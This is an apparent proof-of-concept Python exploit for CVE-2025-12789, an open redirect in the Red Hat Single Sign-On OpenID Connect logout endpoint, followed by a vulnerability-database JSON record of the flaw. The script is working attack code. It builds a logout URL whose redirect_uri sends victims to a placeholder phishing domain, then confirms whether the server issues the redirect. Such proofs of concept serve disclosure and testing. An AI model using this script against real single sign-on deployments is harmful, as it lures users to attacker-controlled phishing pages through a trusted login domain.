CVE-2025-12789

# CVE-2025-12789 PoC - Open Redirect in Red Hat Single Sign-On # Target: Red Hat Single Sign-On OpenID Connect Logout Endpoint # Attack Type: Open Redirect import requests from urllib.parse import quote def exploit_open_redirect(target_url, redirect_target): """ Exploit the open redirect vulnerability in RHSSO logout endpoint Args: target_url: Base URL of the vulnerable RHSSO instance redirect_target: Malicious URL to redirect victims to """ # Encode the target URL for the redirect_uri parameter encoded_redirect = quote(redirect_target, safe='') # Construct the malicious logout URL logout_endpoint = f"{target_url}/auth/realms/master/protocol/openid-connect/logout" malicious_url = f"{logout_endpoint}?redirect_uri={encoded_redirect}" print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Redirect Target: {redirect_target}") # Send request to trigger the redirect try: response = requests.get(malicious_url, allow_redirects=False) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[+] Vulnerable! Server responds with redirect to: {location}") return True else: print(f"[-] Response status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": target = "https://vulnerable-rhsso.example.com" attacker_domain = "https://evil-phishing-site.com" exploit_open_redirect(target, attacker_domain)

{"cve": {"id": "CVE-2025-12789", "sourceIdentifier": "[email protected]", "published": "2025-11-07T00:15:53.117", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Red Hat Single Sign-On. This issue is an Open Redirect vulnerability that occurs during the logout process. The redirect_uri parameter associated with the openid-connect logout protocol does not properly validate the provided URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-12789", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413001", "source": "[email protected]"}]}}